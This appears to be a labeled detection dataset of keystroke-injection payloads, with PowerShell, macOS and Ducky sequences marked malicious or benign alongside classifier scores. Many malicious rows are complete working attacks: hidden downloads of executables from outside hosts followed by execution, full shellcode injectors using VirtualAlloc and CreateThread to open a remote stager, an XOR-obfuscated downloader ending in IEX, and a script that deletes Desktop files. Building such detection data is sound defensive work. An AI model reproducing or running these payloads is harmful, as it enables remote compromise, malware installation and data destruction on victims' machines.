""Test_CancelManagedStorageSasDefinitionRemovalOnce"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_ConfirmThenCancelManagedStorageSasDefinitionRemoval} ""Test_ConfirmThenCancelManagedStorageSasDefinitionRemoval"" } ""Test_ConfirmThenCancelManagedStorageSasDefinitionRemoval"" enter enter $global:endTime = Get-Date enter Write-FileReport enter Write-ConsoleReport enter Move-Log $invocationPath enter enter PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94.137/~rama/jusched.exe', $env:TEMP\jusched.exe );Start-Process ( $env:TEMP\jusched.exe ) enter enter",1,1,5.9357564e-05,0.99994063
win+r powershell enter  InModuleScope PoshBot { describe 'Get-PoshBotStatefulData' { BeforeAll { $P enter SDefaultParameterValues = @{ 'Get-PoshBotStatefulData:Verbose' = $false } enter $global:PoshBotContext = [pscustomobject]@{ Plugin = 'TestPlugin' Configuratio enter nDirectory = (Join-Path $env:BHProjectPath Tests) enter enter,1,1,0.0063604447,0.9936395
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_0btceovl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.440057e-05
"win+r powershell enter function convertDsnToPathFormat($sDsn) { $sDsn = $sDsn.Replace(',<domainDNhere> enter ',''); $sDsn = $sDsn.Replace('OU=',''); $aDsn = $sDsn.Split(','); [array]::Re enter verse($aDsn); $sPath = $aDsn -join '/'; return '<domain name>/' + $sPath; } $ enter aAllGpos = Get-GPOReport -all -ReportType XML; $aFilteredGpos = @(); $aLinkedOuG enter Pos = @(); enter enter",1,1,0.0030793725,0.9969207
"win+r powershell enter Import-Module HelpersCommon Describe ""ExecutionPolicy"" -Tags ""CI"" { Context "" enter Check Get-ExecutionPolicy behavior"" { It ""Should unrestricted when not on Windo enter ws"" -Skip:$IsWindows { Get-ExecutionPolicy | Should -Be Unrestricted } It ""S enter hould return Microsoft.Powershell.ExecutionPolicy PSObject on Windows"" -Skip:($I enter sLinux -Or $IsMacOS) { Get-ExecutionPolicy | Should -BeOfType Microsoft.Powersh enter ell.ExecutionPolicy } enter",1,1,0.003700445,0.99629956
"win+r enter powershell enter enter enter configuration PSModule_InstallModuleSpecificVersionConfig enter { enter param enter ( enter [Parameter()] enter [System.String[]] enter $NodeName = 'localhost', enter enter [Parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [System.String] enter $ModuleName, enter enter [Parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [System.String] enter $RequiredVersion enter ) enter enter Import-DscResource -ModuleName 'PowerShellGet' enter enter Node $nodeName enter { enter PSModule 'InstallModuleAndAllowClobber' enter { enter Name = $ModuleName enter RequiredVersion = $RequiredVersion enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x37,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1213086e-05,0.99994874
win+r enter powershell enter enter enter function Get-ImageInformation enter { enter enter PARAM ( enter [System.String[]]$FilePath enter ) enter Foreach ($Image in $FilePath) enter { enter enter Add-type -AssemblyName System.Drawing enter New-Object -TypeName System.Drawing.Bitmap -ArgumentList $Image enter } enter } enter enter,0,0,0.99989724,0.00010275918
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_0kizykoy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.391076e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('www.athensheartcenter.com/components/com_gantry/lawn.exe',""$env:TEMP\lawn.exe"");Start-Process (""$env:TEMP\lawn.exe"") enter enter",1,1,5.7674526e-05,0.9999423
"win+r enter powershell enter enter enter Describe ""Native streams behavior with PowerShell"" -Tags 'CI' { enter $powershell = Join-Path -Path $PsHome -ChildPath ""pwsh"" enter enter Context ""Error stream"" { enter $error.Clear() enter enter $command = [string]::Join('', @( enter '[Console]::Error.Write(\""foo`n`nbar`n`nbaz\""); ', enter '[Console]::Error.Write(\""middle\""); ', enter '[Console]::Error.Write(\""foo`n`nbar`n`nbaz\"")' enter )) enter enter $out = & $powershell -noprofile -command $command 2>&1 enter It 'should not add records to $error variable' { enter enter $error.Count | Should -Be 9 enter } enter enter It 'uses ErrorRecord object to return stderr output' { enter ($out | Measure-Object).Count | Should -BeGreaterThan 1 enter enter $out[0] | Should -BeOfType 'System.Management.Automation.ErrorRecord' enter $out[0].FullyQualifiedErrorId | Should -Be 'NativeCommandError' enter enter $out | Select-Object -Skip 1 | ForEach-Object { enter $_ | Should -BeOfType 'System.Management.Automation.ErrorRecord' enter $_.FullyQualifiedErrorId | Should -Be 'NativeCommandErrorMessage' enter } enter } enter enter It 'uses correct exception messages for error stream' { enter ($out | Measure-Object).Count | Should -Be 9 enter $out[0].Exception.Message | Should -BeExactly 'foo' enter $out[1].Exception.Message | Should -BeExactly '' enter $out[2].Exception.Message | Should -BeExactly 'bar' enter $out[3].Exception.Message | Should -BeExactly '' enter $out[4].Exception.Message | Should -BeExactly 'bazmiddlefoo' enter $out[5].Exception.Message | Should -BeExactly '' enter $out[6].Exception.Message | Should -BeExactly 'bar' enter $out[7].Exception.Message | Should -BeExactly '' enter $out[8].Exception.Message | Should -BeExactly 'baz' enter } enter enter It 'preserves error stream as is with Out-String' { enter ($out | Out-String).Replace(""`r"", '') | Should -BeExactly ""foo`n`nbar`n`nbazmiddlefoo`n`nbar`n`nbaz`n"" enter } enter enter It 'does not get or split when redirected' { enter $longtext = ""0123456789"" enter while ($longtext.Length -lt [console]::WindowWidth) { enter $longtext += $longtext enter } enter pwsh -c ""& { [Console]::Error.WriteLine('$longtext') }"" 2>&1 > $testdrive\error.txt enter $e = Get-Content -Path $testdrive\error.txt enter $e.Count | Should -Be 1 enter $e | Should -BeExactly $longtext enter } enter } enter } enter enter Describe 'piping powershell objects to finished native executable' -Tags 'CI' { enter It 'doesn''t throw any exceptions, when we are piping to the closed executable' { enter 1..3 | ForEach-Object { enter Start-Sleep -Milliseconds 100 enter enter @{'a' = 'b'} enter } | testexe -echoargs | Should -BeNullOrEmpty enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0623854e-05,0.99994934
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install vscode.install enter A enter enter enter,0,0,0.9999608,3.925714e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_yycquwnm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3912183e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install procmon enter A enter enter,0,0,0.9999596,4.0428455e-05
"win+r enter powershell enter enter enter param ( enter [ValidateSet(""machine"",""user"",""process"")] enter [string[]]$PathScope=""machine"", enter [switch]$RemoveAllOccurences enter ) enter ForEach ($PathScopeItem in $PathScope) enter { enter $AssembledNewPath = $NewPath = '' enter enter $pathstoremove = @([Environment]::GetEnvironmentVariable(""PATH"",""$PathScopeItem"").split(';') | Where { $_ -ilike ""*\Program Files\Powershell\6*""}) enter If (!$RemoveAllOccurences) enter { enter enter $pathstoremove = @($pathstoremove | sort-object | Select-Object -skiplast 1) enter } enter Write-Verbose ""Reset-PWSHSystemPath: Found $($pathstoremove.count) paths to remove from $PathScopeItem path scope: $($Pathstoremove -join ', ' | out-string)"" enter If ($pathstoremove.count -gt 0) enter { enter foreach ($Path in [Environment]::GetEnvironmentVariable(""PATH"",""$PathScopeItem"").split(';')) enter { enter enter If ($Path) enter { enter If ($pathstoremove -inotcontains ""$Path"") enter { enter [string[]]$Newpath += ""$Path"" enter } enter } enter } enter $AssembledNewPath = ($newpath -join(';')).trimend(';') enter $AssembledNewPath -split ';' enter [Environment]::SetEnvironmentVariable(""PATH"",$AssembledNewPath,""$PathScopeItem"") enter } enter } enter enter",0,0,0.9982948,0.0017052932
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_wnwtmgl6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter",0,0,0.99996483,3.514809e-05
"win+r powershell enter $KyJe = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $KyJe - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x12 enter ,0x4b,0x5b,0x5f,0xd9,0xcd,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x4d,0x83,0xc0 enter ,0x04,0x31,0x58,0x0f,0x03,0x58,0x1d,0xa9,0xae,0xa3,0xc9,0xaf,0x51,0x5c,0x09,0xd0 enter ,0xd8,0xb9,0x38,0xd0,0xbf,0xca,0x6a,0xe0,0xb4,0x9f,0x86,0x8b,0x99,0x0b,0x1d,0xf9 enter ,0x35,0x3b,0x96,0xb4,0x63,0x72,0x27,0xe4,0x50,0x15,0xab,0xf7,0x84,0xf5,0x92,0x37 enter ,0xd9,0xf4,0xd3,0x2a enter enter",1,1,5.445897e-05,0.9999455
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_zrs8l2qn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4650144e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_vwdvczb5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4698223e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_ki8zcrhh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3678334e-05
"win+r powershell enter Set-StrictMode -Version Latest function Invoke-PesterInJob ($ScriptBlock, [swi enter tch] $GenerateNUnitReport, [switch]$UseStrictPesterMode, [Switch]$Verbose) { enter if ($Verbose) { Write-Host ""----------- This is running is a separate Pes enter ter scope (inside a PowerShell Job) -------------"" -ForegroundColor Cyan } $Pe enter sterPath = Get-Module Pester | Select-Object -First 1 -ExpandProperty Path enter enter",1,1,0.00020905484,0.99979097
"win+r powershell enter function Uninstall-CDirectory { [CmdletBinding()] param( [Parameter(Mandato enter ry=$true)] [string] $Path, [Switch] enter enter",1,1,0.0018868624,0.99811316
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_8ajc9cuc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.txt"") -Encoding UTF8 enter",0,0,0.999966,3.3977707e-05
"win space terminal enter enter open -a ""safari"" enter enter open -a ""xcode"" enter enter open -a ""calendar"" enter enter open -a ""messages"" enter enter open -a ""pycharm ce"" enter",0,0,0.99947554,0.00052445434
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install youtube-dl enter A enter enter,0,0,0.99995935,4.067797e-05
"delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_long enter clear enter delay_medium enter enter enter delay_medium enter open -a ""Google Chrome"" enter delay_long enter enter enter delay_long enter https://www.instagram.com/*profileName*/?hl=en enter delay_long enter enter enter delay_long enter tab enter delay_long enter tab enter delay_medium enter enter",1,1,5.9043003e-05,0.999941
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_gtjnhe8e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3827495e-05
"win r powershell enter enter invoke-webrequest -uri ""#script-py-link"" -outfile ""script.py"" enter enter start-process python.exe -argumentlist ""script.py"" -windowstyle hidden enter enter alt f4",1,1,7.9845275e-05,0.9999201
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_ur0iihgt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4126497e-05
"win+r enter powershell enter enter enter $wc=New-OBjeCT SyStEM.NEt.WEBClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEADeRS.ADD('User-Agent',$u);$wc.PRoXY = [SysTEm.Net.WebREQUeSt]::DefAuLtWeBPrOxY;$wc.PRoxy.CrEDeNTialS = [SysTem.NET.CreDEntiAlCAChe]::DEfaULtNetWORkCrEdENTIaLS;$K='F]o)SLi!.9e^MAtk+p*:37x{-Hd8&IQh';$I=0;[cHAR[]]$B=([cHAR[]]($wc.DOWNloadStRing(""http://192.168.59.131:80/index.asp"")))|%{$_-bXOR$K[$I++%$K.LENGtH]};IEX ($b-join'') enter enter",1,1,5.6496316e-05,0.9999435
DUCKY_REAL_BEGIN enter REM Title: Desktop Deletion enter REM Author: NARSTY enter REM Description: Opens Terminal and enters commands to delete files located on Desktop enter REM Please exercise caution when using this command enter REM It will permanently delete all files on the desktop without any confirmation prompts enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Execution enter ID 05ac:021e Apple:Keyboard enter DELAY 300 enter GUI SPACE enter DELAY 500 enter STRING terminal.app enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING rm ~/Desktop/* enter DELAY 2000 enter ENTER enter DELAY 2000 enter GUI W enter DUCKY_REAL_END,1,1,6.12364e-05,0.9999387
"win+r enter powershell enter enter enter Describe ""Windows Installer"" -Tags ""Scenario"" { enter enter BeforeAll { enter $skipTest = -not $IsWindows enter $preRequisitesLink = 'https://aka.ms/pscore6-prereq' enter $linkCheckTestCases = @( enter @{ Name = ""Universal C Runtime""; Url = $preRequisitesLink } enter @{ Name = ""WMF 4.0""; Url = ""https://www.microsoft.com/download/details.aspx?id=40855"" } enter @{ Name = ""WMF 5.0""; Url = ""https://www.microsoft.com/download/details.aspx?id=50395"" } enter @{ Name = ""WMF 5.1""; Url = ""https://www.microsoft.com/download/details.aspx?id=54616"" } enter ) enter } enter enter It ""WiX (Windows Installer XML) file contains pre-requisites link $preRequisitesLink"" -skip:$skipTest { enter $wixProductFile = Join-Path -Path $PSScriptRoot -ChildPath ""..\..\..\assets\Product.wxs"" enter (Get-Content $wixProductFile -Raw).Contains($preRequisitesLink) | Should Be $true enter } enter It ""Pre-Requisistes link for '<Name>' is reachable: <url>"" -TestCases $linkCheckTestCases -skip:$skipTest { enter param ($Url) enter enter foreach ($i in 1..5) { enter try { enter $result = Invoke-WebRequest $Url -UseBasicParsing enter break; enter } catch { enter Start-Sleep -Seconds 1 enter } enter } enter enter $result | Should -Not -Be $null enter } enter } enter enter",0,0,0.99540037,0.004599641
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_u6t59uco"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.430452e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_lnv5gtur"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter",0,0,0.9999665,3.353949e-05
"win+r enter delay_medium enter powershell.exe -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBvAHUAdAB1AGIAZQAuAGMAbwBtAC8ALgAuAC8ALgAuAC8AdwBhAHQAYwBoAD8AdgA9AGQAUQB3ADQAdwA5AFcAZwBYAGMAUQAmADEAPQAxACIA enter enter enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:powershell_encoded_command] enter unknown_key_action Start-Process ""https://www.youtube.com/../../watch?v=dQw4w9WgXcQ&1=1""",1,1,6.0978546e-05,0.99993896
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install rufus enter A enter enter,0,0,0.99995923,4.077087e-05
